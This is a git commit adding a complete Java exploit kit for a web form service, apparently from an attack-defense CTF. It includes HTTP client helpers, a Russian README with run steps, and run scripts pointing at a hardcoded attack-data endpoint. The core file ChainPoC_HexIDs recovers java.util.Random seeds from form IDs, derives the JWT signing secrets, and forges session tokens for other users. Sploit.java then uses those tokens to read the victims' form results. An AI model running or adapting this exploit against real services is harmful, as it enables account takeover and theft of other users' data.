adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

@@ -0,0 +1,62 @@
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class AttackData {
public static List<Map<String, String>> getAttackData(String host, String attackDataUrl) throws Exception {
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(attackDataUrl))
.GET()
.build();
HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
String responseBody = response.body();
return parseAttackData(responseBody, host, attackDataUrl);
}
private static List<Map<String, String>> parseAttackData(String jsonResponse, String host, String attackDataUrl) {
List<Map<String, String>> userData = new ArrayList<>();
String hostPattern = "\"" + Pattern.quote(host) + "\"\\s*:\\s*\\[([^\\]]+)\\]";
Pattern pattern = Pattern.compile(hostPattern, Pattern.DOTALL);
Matcher matcher = pattern.matcher(jsonResponse);
if (matcher.find()) {
String arrayContent = matcher.group(1);
Pattern userPattern = Pattern.compile("\\{\\\\\"userId\\\\\":\\s*\\\\\"(\\d+)\\\\\",\\s*\\\\\"username\\\\\":\\s*\\\\\"([^\\\\\"]+)\\\\\"\\}");
Matcher userMatcher = userPattern.matcher(arrayContent);
while (userMatcher.find()) {
Map<String, String> user = new HashMap<>();
user.put("userId", userMatcher.group(1));
user.put("username", userMatcher.group(2));
userData.add(user);
}
}
return userData;
}
public static Map<String, String> getFirstUser(String host, String attackDataUrl) throws Exception {
List<Map<String, String>> users = getAttackData(host, attackDataUrl);
if (users.isEmpty()) {
throw new Exception("No attack data found for host: " + host);
}
return users.get(0);
}
public static List<Map<String, String>> getAllUsers(String host, String attackDataUrl) throws Exception {
return getAttackData(host, attackDataUrl);
}
}

View File

@@ -0,0 +1,376 @@
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Base64;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.nio.ByteBuffer;
import java.util.Map;
import java.util.HashMap;
public class ChainPoC_HexIDs {
static final long A = 0x5DEECE66DL;
static final long C = 0xBL;
static final long A_INV = 0xDFE05BCB1365L;
private static final long MULTIPLIER = 0x5DEECE66DL;
private static final long ADDEND = 0xBL;
private static final long MASK = (1L << 48) - 1;
private static final long MULT_INV = 0xDFE05BCB1365L;
private static long nextSeed(long s) { return (s * MULTIPLIER + ADDEND) & MASK; }
private static long prevSeed(long sp) { return (MULT_INV * ((sp - ADDEND) & MASK)) & MASK; }
static long nextState(long s) {
return (s * A + C) & MASK;
}
static long prevState(long s) {
return (A_INV * ((s - C) & MASK)) & MASK;
}
static long stateToSeedLow48(long state) {
return (state ^ A) & MASK;
}
static String toHex16(long v) {
return String.format("%016x", v);
}
static long fromHex(String hex) {
return Long.parseUnsignedLong(hex, 16);
}
static String hx64(long v) {
return String.format("0x%016x", v);
}
static String hx48(long v) {
return String.format("0x%012x", v & MASK);
}
static class FormSeed {
final int seedInt;
final long s0;
FormSeed(int i, long s) {
seedInt = i;
s0 = s;
}
}
static FormSeed recoverFormSeedFromNextLong(long out) {
int lo = (int) out;
int hi = (int) ((out - (long) lo) >>> 32);
long hiU = hi & 0xFFFFFFFFL;
for (int b1 = 0; b1 < (1 << 16); b1++) {
long s1 = ((hiU << 16) | (b1 & 0xFFFFL)) & MASK;
long s2 = nextState(s1);
if ((int) (s2 >>> 16) == lo) {
long s0 = prevState(s1);
long seedLow48 = stateToSeedLow48(s0);
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
if (new Random(seedInt).nextLong() == out)
return new FormSeed(seedInt, s0);
}
}
long loU = lo & 0xFFFFFFFFL;
for (int b2 = 0; b2 < (1 << 16); b2++) {
long s2 = ((loU << 16) | (b2 & 0xFFFFL)) & MASK;
long s1 = prevState(s2);
if ((int) (s1 >>> 16) == hi) {
long s0 = prevState(s1);
long seedLow48 = stateToSeedLow48(s0);
int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
if (new Random(seedInt).nextLong() == out)
return new FormSeed(seedInt, s0);
}
}
throw new IllegalStateException("no matching state for given nextLong()");
}
static class IdProviderSeed {
final long s0, s1, s2;
IdProviderSeed(long a, long b, long c) {
s0 = a;
s1 = b;
s2 = c;
}
}
static IdProviderSeed reconstructIdProviderSeedFromTwoInts(int x0, int x1) {
long u0 = x0 & 0xFFFFFFFFL, u1 = x1 & 0xFFFFFFFFL;
for (int low16 = 0; low16 < (1 << 16); low16++) {
long s1 = ((u0 << 16) | (low16 & 0xFFFFL)) & MASK;
long s2 = nextState(s1);
if (((int) (s2 >>> 16)) == (int) u1) {
long s0 = prevState(s1);
return new IdProviderSeed(s0, s1, s2);
}
}
throw new IllegalStateException("values must be consecutive nextInt()");
}
static List<long[]> candidatesFromL2low48(long L2_low48) {
int y2 = (int) (L2_low48 & 0xFFFFFFFFL);
int y1_low16 = (int) ((L2_low48 >>> 32) & 0xFFFFL);
List<long[]> out = new ArrayList<>();
for (int b2 = 0; b2 < (1 << 16); b2++) {
long s2 = ((((long) y2) << 16) | (b2 & 0xFFFFL)) & MASK;
long s1 = prevState(s2);
if (((s1 >>> 16) & 0xFFFFL) == (y1_low16 & 0xFFFFL)) {
long hi32 = (s1 >>> 16) & 0xFFFFFFFFL;
long lo32 = (s2 >>> 16) & 0xFFFFFFFFL;
long L2_full = (hi32 << 32) | lo32;
long p2 = prevState(s1);
long p1 = prevState(p2);
long L1_full = (((p1 >>> 16) & 0xFFFFFFFFL) << 32) | ((p2 >>> 16) & 0xFFFFFFFFL);
out.add(new long[] { L2_full, L1_full });
}
}
return out;
}
private static int hiFromNextLong(long out) {
int lo = (int) out;
return (int) ((out - (long) lo) >>> 32);
}
private static int loFromNextLong(long out) {
return (int) out;
}
static long makeNextLongFromStates(long s1, long s2) {
return (((long) (int) (s1 >>> 16)) << 32) + (int) (s2 >>> 16);
}
private static long makeNextLong(int hi, int lo) {
return (((long) hi) << 32) + (long) lo;
}
static List<long[]> bruteForceIdAndJWTSeedCandidates(long id_provider_seed_low48) {
System.out.println(hx64(id_provider_seed_low48));
List<long[]> out = new ArrayList<>();
int y2 = (int) (id_provider_seed_low48 & 0xFFFFFFFFL);
int y1_low16 = (int) ((id_provider_seed_low48 >>> 32) & 0xFFFFL);
for (int low16_s2 = 0; low16_s2 < (1 << 16); low16_s2++) {
long s2 = ((((long) y2) << 16) | (low16_s2 & 0xFFFFL)) & MASK;
long s1 = prevState(s2);
if (((s1 >>> 16) & 0xFFFFL) != (y1_low16 & 0xFFFFL) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) + 1) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) - 1)) continue;
System.out.println("passed s1: " + hx48(s1));
long L2_full = makeNextLongFromStates(s1, s2);
long p2 = prevState(s1); long p1 = prevState(p2);
long L1_full = makeNextLongFromStates(p1, p2);
out.add(new long[] { L1_full, L2_full});
System.out.println("L2: " + hx64(L2_full));
System.out.println("L1: " + hx64(L1_full));
s1 = ((s1 >>> 16) + 1) << 16;
System.out.println("s1+: " + hx48(s1));
L2_full = makeNextLongFromStates(s1, s2);
p2 = prevState(s1); p1 = prevState(p2);
L1_full = makeNextLongFromStates(p1, p2);
out.add(new long[] { L1_full, L2_full});
s1 = ((s1 >>> 16) - 2) << 16;
System.out.println("s1-: " + hx48(s1));
L2_full = makeNextLongFromStates(s1, s2);
p2 = prevState(s1); p1 = prevState(p2);
L1_full = makeNextLongFromStates(p1, p2);
out.add(new long[] { L1_full, L2_full});
}
return out;
}
static byte[] longToBytes(long value) {
return ByteBuffer.allocate(8).putLong(value).array();
}
static byte[] expandKey(byte[] key8bytes) {
byte[] expanded = new byte[32];
for (int i = 0; i < 32; i++) {
expanded[i] = key8bytes[i % 8];
}
return expanded;
}
static boolean verifyJWT(String jwtToken, long jwtSecret) {
try {
String[] parts = jwtToken.split("\\.");
if (parts.length != 3)
return false;
String headerAndPayload = parts[0] + "." + parts[1];
String actualSignature = parts[2];
byte[] keyData = longToBytes(jwtSecret);
byte[] expandedKey = expandKey(keyData);
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
mac.init(keySpec);
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
String expectedSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
return expectedSignature.equals(actualSignature);
} catch (Exception e) {
System.err.println("JWT verification error: " + e.getMessage());
return false;
}
}
static String generateToken(String username, long jwtSecret) {
try {
String header = "{\"alg\":\"HS256\"}";
String encodedHeader = Base64.getUrlEncoder().withoutPadding()
.encodeToString(header.getBytes("UTF-8"));
long now = System.currentTimeMillis() / 1000;
long exp = now + 86400;
String payload = "{\"u\":\"" + username + "\",\"iat\":" + now + ",\"exp\":" + exp + "}";
String encodedPayload = Base64.getUrlEncoder().withoutPadding()
.encodeToString(payload.getBytes("UTF-8"));
String headerAndPayload = encodedHeader + "." + encodedPayload;
byte[] keyData = longToBytes(jwtSecret);
byte[] expandedKey = expandKey(keyData);
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
mac.init(keySpec);
byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));
String signature = Base64.getUrlEncoder().withoutPadding()
.encodeToString(signatureBytes);
return headerAndPayload + "." + signature;
} catch (Exception e) {
System.err.println("JWT generation error: " + e.getMessage());
return null;
}
}
public static Map<String, String>[] exploit(long form_id, long known_user_id, String known_jwt, List<Map<String, String>> targetUsers, String form1, String form2) {
long dec1 = fromHex(form1);
long dec2 = fromHex(form2);
System.out.println("dec1: " + hx64(dec1));
System.out.println("dec2: " + hx64(dec2));
FormSeed form_seed_a = recoverFormSeedFromNextLong(dec1);
FormSeed form_seed_b = recoverFormSeedFromNextLong(dec2);
int recN1 = form_seed_a.seedInt;
int recN2 = form_seed_b.seedInt;
IdProviderSeed id_provider_seed = reconstructIdProviderSeedFromTwoInts(recN1, recN2);
System.out.println("rolling back state n times: " + (form_id - 1));
long rolledBackState = id_provider_seed.s0;
for (int i = 0; i < form_id -1 ; i++) {
rolledBackState = prevState(rolledBackState);
}
long id_provider_seed_low48 = stateToSeedLow48(rolledBackState);
List<long[]> cands = bruteForceIdAndJWTSeedCandidates(id_provider_seed_low48);
System.out.println("cands: " + cands.size());
long id_seed = 0, jwt_seed = 0;
Random jwt_random;
boolean found = false;
for (long[] cand : cands) {
jwt_seed = cand[0];
id_seed = cand[1];
System.out.println("jwt seed: " + hx64(jwt_seed));
System.out.println("id seed: " + hx64(id_seed));
long jwt_secret = 0;
jwt_random = new Random(jwt_seed);
for (int i = 0; i < known_user_id; i++) {
jwt_secret = jwt_random.nextLong();
if (verifyJWT(known_jwt, jwt_secret)) {
System.out.println("found jwt secret: " + hx64(jwt_secret));
System.out.println("jwt secret: " + hx64(jwt_secret));
System.out.println("jwt seed: " + hx64(jwt_seed));
System.out.println("id seed: " + hx64(id_seed));
found = true;
break;
} else {
System.out.println("invalid jwt secret: " + hx64(jwt_secret));
continue;
}
}
if (found) {
break;
}
}
if (jwt_seed == 0) {
System.out.println("No valid jwt seed found");
return null;
}
System.out.println();
System.out.println("[*] Recovered from two ints:");
System.out.println("L2_low48(rec) = " + hx48(id_provider_seed_low48));
System.out.println("L2_full(rec) = " + hx64(id_seed));
System.out.println("L1_full(rec) = " + hx64(jwt_seed));
System.out.println();
Map<String, String>[] jwts = new Map[targetUsers.size()];
int index = 0;
for (Map<String, String> user : targetUsers) {
String username = user.get("username");
long userId = Long.parseLong(user.get("userId"));
Random jwt_random1 = new Random(jwt_seed);
long jwt_secret = 0;
for (int i = 0; i < userId; i++) {
jwt_secret = jwt_random1.nextLong();
}
System.out.println("jwt secret: " + hx64(jwt_secret));
String jwt = generateToken(username, jwt_secret);
System.out.println("jwt: " + jwt);
Map<String, String> jwtData = new HashMap<>();
jwtData.put("jwt", jwt);
jwtData.put("username", username);
jwtData.put("userId", Long.toString(userId));
jwts[index] = jwtData;
index++;
}
return jwts;
}
}

View File

@@ -0,0 +1,247 @@
import java.security.SecureRandom;
import java.util.Random;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.security.MessageDigest;
public class CheckLib {
private static final Random random = new Random();
private static final SecureRandom secureRandom = new SecureRandom();
private static final String ALPHANUMERIC = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static final String ALPHA_LOWER = "abcdefghijklmnopqrstuvwxyz";
private static final String ALPHA_UPPER = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
private static final String NUMERIC = "0123456789";
private static final String HEX = "0123456789abcdef";
public static String rndString(int length) {
return rndAlphanumeric(length);
}
public static String generateUsername() {
return "user_" + timestampSec() + "_" + rndAlphaLower(6);
}
public static String generateUsername(String prefix) {
return prefix + "_" + timestampSec() + "_" + rndAlphaLower(6);
}
public static String generatePassword() {
return rndAlphanumeric(16);
}
public static String generatePassword(int length) {
return rndAlphanumeric(length);
}
public static String rndAlphanumeric(int length) {
return randomString(length, ALPHANUMERIC);
}
public static String rndAlphaLower(int length) {
return randomString(length, ALPHA_LOWER);
}
public static String rndAlphaUpper(int length) {
return randomString(length, ALPHA_UPPER);
}
public static String rndNumeric(int length) {
return randomString(length, NUMERIC);
}
public static String rndHex(int length) {
return randomString(length, HEX);
}
public static String randomString(int length, String charset) {
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; i++) {
sb.append(charset.charAt(random.nextInt(charset.length())));
}
return sb.toString();
}
public static byte[] rndBytes(int length) {
byte[] bytes = new byte[length];
secureRandom.nextBytes(bytes);
return bytes;
}
public static byte[] rndBytesFast(int length) {
byte[] bytes = new byte[length];
random.nextBytes(bytes);
return bytes;
}
public static int rndInt(int min, int max) {
return random.nextInt(max - min) + min;
}
public static int rndInt(int max) {
return random.nextInt(max);
}
public static long rndLong() {
return random.nextLong();
}
public static String toHex(byte[] bytes) {
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
public static byte[] fromHex(String hex) {
int len = hex.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(hex.charAt(i), 16) << 4)
+ Character.digit(hex.charAt(i+1), 16));
}
return data;
}
public static String toBase64(byte[] bytes) {
return Base64.getEncoder().encodeToString(bytes);
}
public static String toBase64(String str) {
return Base64.getEncoder().encodeToString(str.getBytes(StandardCharsets.UTF_8));
}
public static byte[] fromBase64(String base64) {
return Base64.getDecoder().decode(base64);
}
public static String fromBase64String(String base64) {
return new String(Base64.getDecoder().decode(base64), StandardCharsets.UTF_8);
}
public static String toBase64Url(byte[] bytes) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
}
public static byte[] fromBase64Url(String base64) {
return Base64.getUrlDecoder().decode(base64);
}
public static String md5(String input) {
return hash(input, "MD5");
}
public static String sha1(String input) {
return hash(input, "SHA-1");
}
public static String sha256(String input) {
return hash(input, "SHA-256");
}
public static String hash(String input, String algorithm) {
try {
MessageDigest md = MessageDigest.getInstance(algorithm);
byte[] hash = md.digest(input.getBytes(StandardCharsets.UTF_8));
return toHex(hash);
} catch (Exception e) {
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
}
}
public static byte[] hashBytes(byte[] input, String algorithm) {
try {
MessageDigest md = MessageDigest.getInstance(algorithm);
return md.digest(input);
} catch (Exception e) {
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
}
}
public static long timestamp() {
return System.currentTimeMillis();
}
public static long timestampSec() {
return System.currentTimeMillis() / 1000;
}
public static void sleep(long ms) {
try {
Thread.sleep(ms);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
public static void sleepSec(long seconds) {
sleep(seconds * 1000);
}
public static String repeat(String str, int count) {
return str.repeat(count);
}
public static String padLeft(String str, int length, char padChar) {
if (str.length() >= length) return str;
return String.valueOf(padChar).repeat(length - str.length()) + str;
}
public static String padRight(String str, int length, char padChar) {
if (str.length() >= length) return str;
return str + String.valueOf(padChar).repeat(length - str.length());
}
public static void info(String msg) {
System.out.println("[*] " + msg);
}
public static void success(String msg) {
System.out.println("[+] " + msg);
}
public static void error(String msg) {
System.out.println("[-] " + msg);
}
public static void warn(String msg) {
System.out.println("[!] " + msg);
}
public static void debug(String msg) {
System.out.println("[DEBUG] " + msg);
}
public static void hexDump(byte[] data) {
hexDump(data, 16);
}
public static void hexDump(byte[] data, int bytesPerLine) {
for (int i = 0; i < data.length; i += bytesPerLine) {
System.out.printf("%08x: ", i);
for (int j = 0; j < bytesPerLine; j++) {
if (i + j < data.length) {
System.out.printf("%02x ", data[i + j]);
} else {
System.out.print(" ");
}
}
System.out.print(" | ");
for (int j = 0; j < bytesPerLine && i + j < data.length; j++) {
byte b = data[i + j];
if (b >= 32 && b < 127) {
System.out.print((char) b);
} else {
System.out.print('.');
}
}
System.out.println();
}
}
}

View File

@@ -0,0 +1,387 @@
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.net.CookieManager;
import java.net.HttpCookie;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.ArrayList;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
public class ClientLib {
private final String baseUrl;
private final HttpClient httpClient;
private final CookieManager cookieManager;
private String userId;
private String username;
private String authToken;
public ClientLib(String serviceUrl) {
this.baseUrl = serviceUrl.endsWith("/") ? serviceUrl.substring(0, serviceUrl.length() - 1) : serviceUrl;
this.cookieManager = new CookieManager();
this.httpClient = HttpClient.newBuilder()
.cookieHandler(cookieManager)
.build();
}
public Map<String, Object> registerUser(String username, String password) throws Exception {
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
String response = post("/api/account/signup", body);
Map<String, Object> result = parseJsonObject(response);
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
this.username = (String) result.get("username");
Object userIdObj = result.get("userId");
this.userId = String.valueOf(userIdObj);
extractCookies();
}
return result;
}
public Map<String, Object> login(String username, String password) throws Exception {
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
String response = post("/api/account/login", body);
Map<String, Object> result = parseJsonObject(response);
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
this.username = (String) result.get("username");
Object userIdObj = result.get("userId");
this.userId = String.valueOf(userIdObj);
extractCookies();
}
return result;
}
public Map<String, Object> getCurrentUser() throws Exception {
String response = get("/api/account/me");
return parseJsonObject(response);
}
public Map<String, Object> logout() throws Exception {
String response = post("/api/account/logout", "{}");
Map<String, Object> result = parseJsonObject(response);
this.userId = null;
this.username = null;
this.authToken = null;
return result;
}
public Map<String, Object> createForm(Map<String, Object> schema) throws Exception {
String schemaJson = mapToJson(schema);
String body = "{\"schema\":" + schemaJson + "}";
String response = post("/api/form/new", body);
return parseJsonObject(response);
}
public Map<String, Object> getForm(String formId) throws Exception {
String response = get("/api/form/" + formId);
return parseJsonObject(response);
}
public Map<String, Object> updateForm(String formId, Map<String, Object> schema) throws Exception {
String schemaJson = mapToJson(schema);
String body = "{\"schema\":" + schemaJson + "}";
String response = put("/api/form/" + formId, body);
return parseJsonObject(response);
}
public Map<String, Object> submitFormResponse(String formId, Map<String, Object> payload) throws Exception {
String payloadJson = mapToJson(payload);
String response = post("/api/form/" + formId + "/submit", payloadJson);
return parseJsonObject(response);
}
public List<Map<String, Object>> getMyForms() throws Exception {
String response = get("/api/form/my-forms");
return parseJsonArray(response);
}
public List<String> getFormResults(String formId) throws Exception {
String response = get("/api/form/" + formId + "/results");
return parseStringArray(response);
}
private String get(String endpoint) throws Exception {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(baseUrl + endpoint))
.GET()
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
}
private String post(String endpoint, String jsonBody) throws Exception {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(baseUrl + endpoint))
.header("Content-Type", "application/json")
.POST(HttpRequest.BodyPublishers.ofString(jsonBody))
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
}
private String put(String endpoint, String jsonBody) throws Exception {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(baseUrl + endpoint))
.header("Content-Type", "application/json")
.PUT(HttpRequest.BodyPublishers.ofString(jsonBody))
.build();
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
}
private void extractCookies() {
List<HttpCookie> cookies = cookieManager.getCookieStore().getCookies();
for (HttpCookie cookie : cookies) {
switch (cookie.getName()) {
case "uid":
this.userId = cookie.getValue();
break;
case "u":
this.username = cookie.getValue();
break;
case "auth":
this.authToken = cookie.getValue();
break;
}
}
}
public String getUserId() {
return userId;
}
public String getUsername() {
return username;
}
public String getAuthToken() {
return authToken;
}
public String getBaseUrl() {
return baseUrl;
}
public boolean isAuthenticated() {
return username != null && authToken != null && userId != null;
}
public void setSessionCookies(String userId, String username, String authToken) {
this.userId = userId;
this.username = username;
this.authToken = authToken;
try {
URI uri = new URI(baseUrl);
HttpCookie uidCookie = new HttpCookie("uid", userId);
uidCookie.setPath("/");
uidCookie.setDomain(uri.getHost());
HttpCookie uCookie = new HttpCookie("u", username);
uCookie.setPath("/");
uCookie.setDomain(uri.getHost());
HttpCookie authCookie = new HttpCookie("auth", authToken);
authCookie.setPath("/");
authCookie.setDomain(uri.getHost());
cookieManager.getCookieStore().add(uri, uidCookie);
cookieManager.getCookieStore().add(uri, uCookie);
cookieManager.getCookieStore().add(uri, authCookie);
} catch (Exception e) {
e.printStackTrace();
}
}
private String jsonEscape(String str) {
return str.replace("\\", "\\\\")
.replace("\"", "\\\"")
.replace("\n", "\\n")
.replace("\r", "\\r")
.replace("\t", "\\t");
}
private String mapToJson(Map<String, Object> map) {
StringBuilder sb = new StringBuilder("{");
boolean first = true;
for (Map.Entry<String, Object> entry : map.entrySet()) {
if (!first) sb.append(",");
first = false;
sb.append("\"").append(jsonEscape(entry.getKey())).append("\":");
sb.append(valueToJson(entry.getValue()));
}
sb.append("}");
return sb.toString();
}
private String valueToJson(Object value) {
if (value == null) {
return "null";
} else if (value instanceof String) {
return "\"" + jsonEscape((String) value) + "\"";
} else if (value instanceof Number || value instanceof Boolean) {
return value.toString();
} else if (value instanceof Map) {
return mapToJson((Map<String, Object>) value);
} else if (value instanceof List) {
StringBuilder sb = new StringBuilder("[");
boolean first = true;
for (Object item : (List<?>) value) {
if (!first) sb.append(",");
first = false;
sb.append(valueToJson(item));
}
sb.append("]");
return sb.toString();
} else {
return "\"" + jsonEscape(value.toString()) + "\"";
}
}
private Map<String, Object> parseJsonObject(String json) {
Map<String, Object> result = new HashMap<>();
json = json.trim();
if (!json.startsWith("{") || !json.endsWith("}")) {
return result;
}
json = json.substring(1, json.length() - 1).trim();
Pattern pattern = Pattern.compile("\"([^\"]+)\"\\s*:\\s*([^,}]+|\\{[^}]*\\}|\\[[^\\]]*\\]|\"[^\"]*\")");
Matcher matcher = pattern.matcher(json);
while (matcher.find()) {
String key = matcher.group(1);
String value = matcher.group(2).trim();
result.put(key, parseValue(value));
}
return result;
}
private List<Map<String, Object>> parseJsonArray(String json) {
List<Map<String, Object>> result = new ArrayList<>();
json = json.trim();
if (!json.startsWith("[") || !json.endsWith("]")) {
return result;
}
json = json.substring(1, json.length() - 1).trim();
if (json.isEmpty()) {
return result;
}
int depth = 0;
StringBuilder current = new StringBuilder();
for (char c : json.toCharArray()) {
if (c == '{') depth++;
else if (c == '}') depth--;
if (c == ',' && depth == 0) {
result.add(parseJsonObject(current.toString()));
current = new StringBuilder();
} else {
current.append(c);
}
}
if (current.length() > 0) {
result.add(parseJsonObject(current.toString()));
}
return result;
}
private List<String> parseStringArray(String json) {
List<String> result = new ArrayList<>();
json = json.trim();
if (!json.startsWith("[") || !json.endsWith("]")) {
return result;
}
json = json.substring(1, json.length() - 1).trim();
if (json.isEmpty()) {
return result;
}
int depth = 0;
boolean inString = false;
StringBuilder current = new StringBuilder();
for (int i = 0; i < json.length(); i++) {
char c = json.charAt(i);
if (c == '"' && (i == 0 || json.charAt(i - 1) != '\\')) {
inString = !inString;
}
if (!inString) {
if (c == '{' || c == '[') depth++;
else if (c == '}' || c == ']') depth--;
}
if (c == ',' && depth == 0 && !inString) {
String item = current.toString().trim();
if (item.startsWith("\"") && item.endsWith("\"")) {
item = item.substring(1, item.length() - 1);
}
result.add(item);
current = new StringBuilder();
} else {
current.append(c);
}
}
if (current.length() > 0) {
String item = current.toString().trim();
if (item.startsWith("\"") && item.endsWith("\"")) {
item = item.substring(1, item.length() - 1);
}
result.add(item);
}
return result;
}
private Object parseValue(String value) {
value = value.trim();
if (value.equals("null")) {
return null;
} else if (value.equals("true")) {
return Boolean.TRUE;
} else if (value.equals("false")) {
return Boolean.FALSE;
} else if (value.startsWith("\"") && value.endsWith("\"")) {
return value.substring(1, value.length() - 1);
} else if (value.matches("-?\\d+")) {
return Long.parseLong(value);
} else if (value.matches("-?\\d+\\.\\d+")) {
return Double.parseDouble(value);
} else {
return value;
}
}
}

View File

@@ -0,0 +1,28 @@
ifeq ($(OS),Windows_NT)
RM = del /Q
JAVAC = javac
else
RM = rm -f
JAVAC = javac
endif
.PHONY: clean compile run
clean:
ifeq ($(OS),Windows_NT)
$(RM) *.class 2>nul || exit 0
else
$(RM) *.class
endif
compile:
$(JAVAC) -encoding UTF-8 Sploit.java
run:
ifeq ($(OS),Windows_NT)
java Sploit $(ARGS)
else
bash run.sh $(ARGS)
endif
all: clean compile

View File

@@ -0,0 +1,18 @@
Зависимости: Java 11+, make
Как запустить сплоит:
в run.sh/run.bat обновить url attack_data
linux:
```
make clean
make compile
./run.sh attack_ip
```
win:
```
make clean
make compile
./run.bat attack_ip
```

View File

@@ -0,0 +1,87 @@
import java.util.Map;
import java.util.HashMap;
import java.util.List;
public class Sploit {
public static void main(String[] args) throws Exception {
String serviceUrl = "http://" + args[0] + ":5003";
ClientLib client = new ClientLib(serviceUrl);
String attackDataUrl = args[1];
String username = CheckLib.generateUsername();
String password = CheckLib.generatePassword();
Map<String, Object> registerResult = client.registerUser(username, password);
System.out.println("[+] Registration result: " + registerResult);
System.out.println("[+] User ID: " + client.getUserId());
System.out.println("[+] Username: " + client.getUsername());
System.out.println("[+] Auth Token: " + client.getAuthToken());
System.out.println("[+] Authenticated: " + client.isAuthenticated());
System.out.println("\n[*] Getting current user info...");
Map<String, Object> userInfo = client.getCurrentUser();
System.out.println("[+] User info: " + userInfo);
System.out.println("\n[*] Creating a form...");
Map<String, Object> schema = new HashMap<>();
schema.put("title", CheckLib.rndString(10));
schema.put("description", CheckLib.rndString(10));
Map<String, Object> formResult = client.createForm(schema);
System.out.println("[+] Form created: " + formResult);
String formId = (String) formResult.get("formId");
long formNumber = (long) formResult.get("formNumber");
System.out.println("\n[*] Creating a form...");
Map<String, Object> schema2 = new HashMap<>();
schema2.put("title", CheckLib.rndString(10));
schema2.put("description", CheckLib.rndString(10));
Map<String, Object> formResult2 = client.createForm(schema2);
System.out.println("[+] Form created: " + formResult2);
String formId2 = (String) formResult2.get("formId");
System.out.println("[+] Form ID: " + formId);
System.out.println("[+] Form 1: " + formId);
System.out.println("[+] Form 2: " + formId2);
System.out.println("[+] User ID: " + userInfo.get("userId"));
System.out.println("[+] Username: " + username);
System.out.println("[+] Auth Token: " + client.getAuthToken());
System.out.println("[+] User ID: " + userInfo.get("userId"));
List<Map<String, Object>> myForms1 = client.getMyForms();
System.out.println("[+] My forms: " + myForms1);
System.out.println("\n[*] Fetching attack data for host: " + args[0]);
List<Map<String, String>> targetUsers = AttackData.getAllUsers(args[0], attackDataUrl);
System.out.println("[+] Target users: " + targetUsers);
long userId = ((Number) userInfo.get("userId")).longValue();
System.out.println("[+] Current User ID: " + userId);
Map<String, String>[] jwtsWithUsers = ChainPoC_HexIDs.exploit(formNumber, userId, client.getAuthToken(), targetUsers, formId, formId2);
System.out.println("[+] Generated " + jwtsWithUsers.length + " JWTs");
for (Map<String, String> jwtData : jwtsWithUsers) {
String jwt = jwtData.get("jwt");
String targetUsername = jwtData.get("username");
String targetUserId = jwtData.get("userId");
client.setSessionCookies(targetUserId, targetUsername, jwt);
System.out.println("\n[+] Testing as user: " + targetUsername + " (ID: " + targetUserId + ")");
System.out.println("[+] Check auth: " + client.isAuthenticated());
List<Map<String, Object>> myForms = client.getMyForms();
for (Map<String, Object> form : myForms) {
System.out.println("[+] Form results: " + client.getFormResults(form.get("formId").toString()));
}
}
}
}

View File

@@ -0,0 +1,5 @@
@echo off
set attackDataUrl=http://185.56.162.110/api/client/attack_data/
java Sploit %1 %attackDataUrl%

View File

@@ -0,0 +1,5 @@
#!/bin/bash
attackDataUrl="http://185.56.162.110/api/client/attack_data/"
java Sploit $1 $attackDataUrl